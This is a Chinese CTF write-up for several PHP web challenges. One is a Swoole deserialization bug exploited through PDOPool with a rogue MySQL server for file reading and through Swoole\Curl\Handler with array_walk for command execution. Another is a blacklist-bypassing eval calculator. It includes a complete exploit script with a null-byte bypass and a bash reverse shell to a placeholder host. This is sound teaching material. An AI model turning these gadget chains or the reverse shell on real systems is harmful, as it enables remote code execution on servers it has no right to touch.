5 道 Web,4 道 PHP,3 道 XSS,这就是 ROIS 吗?i 了 i 了
过于硬核,摸了摸了,师傅们 tql
记一下几个比较有意思的题的 wp
Swoole
首先,题目直接给了源码:
#!/usr/bin/env php
<?php
Swoole\Runtime::enableCoroutine($flags = SWOOLE_HOOK_ALL);
$http = new Swoole\Http\Server("0.0.0.0", 9501);
$http->on("request",
function (Swoole\Http\Request $request, Swoole\Http\Response $response) {
Swoole\Runtime::enableCoroutine();
$response->header('Content-Type', 'text/plain');
// $response->sendfile('/flag');
if (isset($request->get['phpinfo'])) {
// Prevent racing condition
// ob_start();phpinfo();
// return $response->end(ob_get_clean());
return $response->sendfile('phpinfo.txt');
}
if (isset($request->get['code'])) {
try {
$code = $request->get['code'];
if (!preg_match('/\x00/', $code)) {
$a = unserialize($code);
$a();
$a = null;
}
} catch (\Throwable $e) {
var_dump($code);
var_dump($e->getMessage());
// do nothing
}
return $response->end('Done');
}
$response->sendfile(__FILE__);
}
);
$http->start();
找了一下这个 Swoole 这个框架,据介绍是异步/协程的 PHP 开发框架,挺有意思的
注意到这个其实已经不是传统意义上的 PHP 了,和 node.js 很像
调试代码的环境也很好配,直接 docker pull phpswoole/swoole:4.4.18-php7.4
即可
而代码的漏洞点也是一眼就能看出来:
$code = $request->get['code'];
$a = unserialize($code);
$a();
$a = null;
那么就是一个裸的反序列化了,问题在于怎么找 gadget
其实注意到一点:
$a = unserialize($code);
$a();
$a()
也就是在传进去的 code 被反序列化过后被 invoke
第一想到的就是找有 __invoke
方法的类了,当然你在 Swoole 标准库里面怎么找都只有一个:ObjectProxy
仔细看看,这玩意其实没啥用,,,
抛开对象,还有一个 PHP 很鬼畜的特性,就是动态函数调用:
$a = "phpinfo";
$a(); // produce phpinfo output
但是看起来,PHP 中好像也没有啥无参函数可以有用
陷入僵局?刺激点来了:
class A {
public function foo() {
return "bar";
}
}
$a = new A();
$arr = [$a, "foo"];
echo $arr(); // print "bar"
有没有发现 PHP 中数组也可以 invoke?并且你可以在第二项中传入想要调用的第一项中对象的方法(我恨 PHP)
那么攻击思路就很明显了,将一个对象和他的方法丢进数组,然后序列化丢过去就可以了。到这里,就剩下找啥 gadget 了
在读完了 phpinfo 和 swoole 的文档的每一个字以后,可以发现 PDOPool 这个类是可以利用的。看看官方文档怎么说的:
Coroutine\run(function () {
$pool = new PDOPool((new PDOConfig)
->withHost('127.0.0.1')
->withPort(3306)
// ->withUnixSocket('/tmp/mysql.sock')
->withDbName('test')
->withCharset('utf8mb4')
->withUsername('root')
->withPassword('root')
);
for ($n = N; $n--;) {
Coroutine::create(function () use ($pool) {
$pdo = $pool->get();
$statement = $pdo->prepare('SELECT ? + ?');
if (!$statement) {
throw new RuntimeException('Prepare failed');
}
$a = mt_rand(1, 100);
$b = mt_rand(1, 100);
$result = $statement->execute([$a, $b]);
if (!$result) {
throw new RuntimeException('Execute failed');
}
$result = $statement->fetchAll();
if ($a + $b !== (int)$result[0][0]) {
throw new RuntimeException('Bad result');
}
$pool->put($pdo);
});
}
});
不妨魔改一下,然后搭环境试试:
Coroutine\run(function () {
$pool = new PDOPool((new PDOConfig)
->withHost('xxx.xxx.xxx.xxx')
->withPort(3306)
->withDbName('test')
->withCharset('utf8mb4')
->withUsername('root')
->withPassword('root')
->withOptions([
\PDO::MYSQL_ATTR_LOCAL_INFILE => 1,
\PDO::MYSQL_ATTR_INIT_COMMAND => 'select 1'
])
);
$pool->get();
// serialize($pool);
});
然后我们跑一下就可以发现这个 payload 完全可行,并且在 get
方法被调用的时候,就会发起对恶意 MySQL 的连接并成功偷文件了
但是当你准备 serialize($pool)
的时候,你就会发现他报错了(x
PHP Warning: Uncaught exception 'Exception' with message 'Serialization of 'Swoole\Coroutine\Channel' is not allowed' in php shell code:xx
WTF???
其实这里就是卡住我时间最长的地方。在队友非预期解,拿到官方解之后才发现有一个讨巧的点:
ConnectionPool
中对 $pool
这个成员,即 Swoole\Coroutine\Channel
对象的操作,完全可以利用标准库 SplDoublyLinkedList
来替换,,,,,,
那么后面就没有啥要说的了,直接用反射把 $pool
对象中的 $pool
成员给替换成 new \SplDoublyLinkedList()
就行了,至于空字节的绕过,还是 p 牛的改成字符 00 来绕过
说完了官方解,说说非预期解:
因为知道了 PHP 的数组可以 invoke,那么 gadget 一下就多了起来。官方库里面还有一个对 cURL 封装的一个类 Swoole\Curl\Handler
注意方法 execute
// https://github.com/swoole/library/blob/master/src/core/Curl/Handler.php#L782
// L782 - L785
if ($client->body and $this->readFunction) {
$cb = $this->readFunction;
$cb($this, $this->outputStream, strlen($client->body))
}
回溯可以看到 $this->readFunction
完全可控,$this->outputStream
可以魔改源代码或者用反射来改也可控,那么也就是说找到一个参数表数量 <= 3 的函数传给 $cb
即可
这里我是真的太佩服师傅了,有个函数:array_walk
看一下如果 $cb
是 array_walk
会咋样:
array_walk($this, $this->xxx, xxx);
还差一点,因为 swlooe 把系统的 exec
给改成了 Swoole\Coroutine\System::exec
,如果参数不对协程会直接退出,所以不能直接把第二个值赋成 exec
,还需要再改一下:
class B{
public $a = 123;
public $exec = "sleep 5";
public $c = "xxxx";
public function __construct(){
// $cb($this, $this->outputStream, strlen($client->body));
array_walk($this, 'array_walk', 'xxxx');
}
}
这样就可以执行命令了
完整的 EXP:
// Author: Wupco (http://www.wupco.cn/)
// https://github.com/swoole/library/blob/master/src/core/Curl/Handler.php#L309-L319
// delete(L309-L319) (bypass is_resource check) and change class name to Handlep
include('Handler.php');
// bypass %00
function process_serialized($serialized) {
$new = '';
$last = 0;
$current = 0;
$pattern = '#\bs:([0-9]+):"#';
while(
$current < strlen($serialized) &&
preg_match(
$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
)
)
{
$p_start = $matches[0][1];
$p_start_string = $p_start + strlen($matches[0][0]);
$length = $matches[1][0];
$p_end_string = $p_start_string + $length;
# Check if this really is a serialized string
if(!(
strlen($serialized) > $p_end_string + 2 &&
substr($serialized, $p_end_string, 2) == '";'
))
{
$current = $p_start_string;
continue;
}
$string = substr($serialized, $p_start_string, $length);
# Convert every special character to its S representation
$clean_string = '';
for($i=0; $i < strlen($string); $i++)
{
$letter = $string{$i};
$clean_string .= ctype_print($letter) && $letter != '\\' ?
$letter :
sprintf("\\%02x", ord($letter));
;
}
# Make the replacement
$new .=
substr($serialized, $last, $p_start - $last) .
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
;
$last = $p_end_string + 2;
$current = $last;
}
$new .= substr($serialized, $last);
return $new;
}
$o = new Swoole\Curl\Handlep("http://baidu.com/");
$o->setOpt(CURLOPT_READFUNCTION,"array_walk");
$o->setOpt(CURLOPT_FILE, "array_walk");
$o->exec = array('/bin/bash -c "bash -i >& /dev/tcp/xxxxxxx/9999 0>&1"');
$o->setOpt(CURLOPT_POST,1);
$o->setOpt(CURLOPT_POSTFIELDS,"aaa");
$o->setOpt(CURLOPT_HTTPHEADER,["Content-type"=>"application/json"]);
$o->setOpt(CURLOPT_HTTP_VERSION,CURL_HTTP_VERSION_1_1);
$a = serialize([$o,'exec']);
echo str_replace("Handlep", "Handler", urlencode(process_serialized($a)));
弹到的 shell 还是 root 用户(x
calc
(写累了不想糊了)
有源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/im', $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
}
又是喜闻乐见的计算器
讲个鬼故事:((1/0).(0))=INF
,((1/0).(0)){0}=I
我恨 PHP ++
那么后面就不用多说了吧,没有 ban |
和 &
,那么用与或运算打一个表出来就可以了
顺便后面还有个套娃题,还要 /readflag
来恶心人,把脚本一个字一个字写进文件,然后用 perl 脚本跑就可以了
总结
师傅们太强了!
我恨 PHP += 114514
root用户这得怪Swoole了,其实我都没发现能RCE就没管是啥权限跑的。。。
root 用户跟 Swoole 没关系吧,主要是 RCE 非预期了,不过官方镜像确实是直接用 root 用户跑的
(我是被出题人翻牌子了嘛,师傅 tql